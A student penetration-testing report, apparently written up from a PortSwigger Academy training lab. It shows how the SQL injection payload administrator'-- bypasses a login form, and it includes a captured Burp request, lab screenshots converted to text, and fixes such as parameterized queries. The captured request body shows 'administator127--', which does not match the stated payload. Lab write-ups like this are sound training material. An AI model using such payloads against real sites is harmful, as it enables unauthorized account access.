

# Web Application Penetration Testing Report

**File Name:** Web\_Pentest\_Report.pdf

**Target:** PortSwigger Academy Lab — SQLi Auth Bypass

**Analyst:** Sachin Sree D

**Tools Used:** Burp Suite

**Date:** 21-June-2025

## 1. Executive Summary

This report documents the findings from a security assessment conducted on a simulated web application from PortSwigger Web Security Academy. During testing, a critical vulnerability — SQL Injection in the login functionality — was identified and exploited to bypass authentication using a crafted SQL injection payload (administrator'--).

## 2. Scope of Testing

- **Target URL:** PortSwigger SQLi Lab  
(<https://portswigger.net/web-security/sql-injection/lab-login-bypass>)
- **Functionality Tested:** User login form (/login)
- **Tested For:**
  1. SQL Injection (SQLi)
  2. Authentication bypass
  3. Basic error-based responses

## 3. Tools Used

- ✓ Burp Suite (Community Edition) — to intercept and modify login requests
- ✓ Browser (Chrome/Firefox) — for lab interaction

## 4. Methodology

### 1. Reconnaissance

- Navigated to the lab instance login form
- Identified /login endpoint as the target
- Intercepted HTTP POST request using Burp Suite

### 2. Payload Injection

- Modified the username parameter to: administrator'--
- Preserved the CSRF token from the login form
- Used a dummy password (not validated due to SQLi)

### 3. Authentication Bypass Confirmed

- Server responded with HTTP 302 redirect
- Browser redirected to admin dashboard
- Lab marked as solved, confirming successful login as administrator
- No valid credentials were required

## 5. Vulnerability Details

### SQL Injection in Login (Auth Bypass)

- Vulnerability: SQL Injection
  - Endpoint: POST /login
  - Parameter Affected: username
  - Payload Used: administrator'--
- Proof of Concept:
    - Username: administrator'--
    - Password: anything
    - Result: logged in as administrator, bypassed authentication


Lab: SQL injection vulnerability

SQL injection vulnerability allow...


+

▼

← → ↻ <https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net> ☆ 🔒 🗨

**Web Security Academy** 

SQL injection vulnerability allowing login bypass

LAB Not solved 

[Back to lab description >>](#)

[Home](#) | [My account](#)

WE LIKE TO

SHOP 



First Impression Costumes  
★★★★★ \$3.41  
[View details](#)



There is No 'I' in Team  
★★★★★ \$55.12  
[View details](#)



The Splash  
★★★★★ \$39.53  
[View details](#)



Six Pack Beer Belt  
★★★★★ \$40.55  
[View details](#)


Lab: SQL injection vulnerability

SQL injection vulnerability allow...


+

▼

← → ↻ <https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net/login> ☆ 🔒 🗨

**Web Security Academy** 

SQL injection vulnerability allowing login bypass

LAB Not solved 

[Back to lab description >>](#)

[Home](#) | [My account](#)

## Login

Username

Password

[Log in](#)

Intercept HTTP history WebSockets history Match and replace Proxy settings

Request to https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net:443 [79.125.84.16]

Time	Type	Direction	Method	URL	Status code	Length
18:02:36 22 Ju...	WS	→ To server		https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net/academyLabHeader		
18:02:36 22 Ju...	HTTP	→ Request	POST	https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net/login	4	

**Request**

Pretty Raw Hex

```
1 POST /login HTTP/2
2 Host: 0a8000dd046b824783bbd7c500c1009a.web-security-academy.net
3 Cookie: session=K6saayqLMBQpP29MhN2xc6a41NvhTvDfS
4 Content-Length: 86
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: en-US,en;q=0.9
10 Origin: https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0a8000dd046b824783bbd7c500c1009a.web-security-academy.net/login
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 csrf=qP2XwffQurh3ASvMfH1Cf33WK3IiQ6MW&username=administator127--&password=sdgvsr fherh
```

**Inspector**

Request attributes 2

Request query parameters 0

Request body parameters 3

Request cookies 1

Request headers 23

Event log (1) All issues

Memory: 176.3MB Disabled

Lab: SQL injection vulnerability SQL injection vulnerability allowing login bypass

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

Home | My account | Log out

## My Account

Your username is: administrator

Email

Update email






- **Impact:**

- Authentication completely bypassed
- Full unauthorized access to the user dashboard

- **Severity:** Critical

- **CWE ID:** CWE-89

## 6. Recommendations

-  Use parameterized queries (Prepared Statements)
-  Sanitize and validate all user inputs
-  Avoid dynamic SQL execution using string concatenation
-  Implement proper error handling (no SQL error leakage)
-  Enforce authentication logging and rate-limiting

## 7. Conclusion

The application is critically vulnerable to SQL injection in its login logic. This allows attackers to gain unauthorized access without valid credentials. Proper input sanitization and secure coding practices are essential to protect against this class of attack.

## 8. References

- OWASP SQL Injection Guide  
[https://owasp.org/www-community/attacks/SQL\\_Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- CWE-89: SQL Injection (MITRE)  
<https://cwe.mitre.org/data/definitions/89.html>
- PortSwigger SQLi Labs Index  
<https://portswigger.net/web-security/sql-injection>

